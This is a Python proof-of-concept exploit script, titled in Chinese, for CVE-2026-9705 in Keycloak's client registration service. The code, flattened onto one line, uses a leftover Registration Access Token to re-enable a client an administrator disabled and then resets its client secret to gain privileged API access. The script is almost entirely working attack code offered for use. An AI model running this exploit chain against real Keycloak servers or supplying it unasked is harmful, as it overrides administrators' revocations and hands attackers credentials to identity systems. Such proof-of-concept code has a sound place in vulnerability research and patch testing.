CVE-2026-9705 Keycloak客户端注册服务安全绕过漏洞

# CVE-2026-9705 - Keycloak Client Registration Service Bypass PoC # Exploits the vulnerability where a previously issued Registration Access Token (RAT) # can be used to re-enable a client that an administrator has explicitly disabled. import requests import json # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "target-client-id" REGISTRATION_ACCESS_TOKEN = "previously-issued-RAT-token" # RAT obtained before client was disabled # Step 1: Verify the client is currently disabled def check_client_status(): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.get(url, headers=headers) if response.status_code == 200: client_info = response.json() print(f"Current client status - enabled: {client_info.get('enabled', 'unknown')}") return client_info else: print(f"Failed to retrieve client info: {response.status_code}") return None # Step 2: Re-enable the disabled client by updating its registration def re_enable_client(): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } # Update payload to re-enable the client payload = { "enabled": True } response = requests.put(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: updated_client = response.json() print(f"Client successfully re-enabled: {updated_client}") return updated_client else: print(f"Failed to re-enable client: {response.status_code} - {response.text}") return None # Step 3: Reset the client secret to regain privileged API access def reset_client_secret(client_info): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}/client-secret" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.post(url, headers=headers) if response.status_code == 200: secret_info = response.json() print(f"New client secret obtained: {secret_info.get('value')}") return secret_info else: print(f"Failed to reset client secret: {response.status_code}") return None # Main exploit chain if __name__ == "__main__": print("[*] CVE-2026-9705 Exploit - Keycloak Client Registration Bypass") print("[*] Step 1: Checking client status...") client_info = check_client_status() if client_info: print("[*] Step 2: Re-enabling disabled client...") updated_client = re_enable_client() if updated_client: print("[*] Step 3: Resetting client secret...") new_secret = reset_client_secret(updated_client) if new_secret: print("[+] Exploit successful! Use the new client secret for privileged API access.") else: print("[-] Secret reset failed.") else: print("[-] Client re-enable failed.") else: print("[-] Could not retrieve client information.")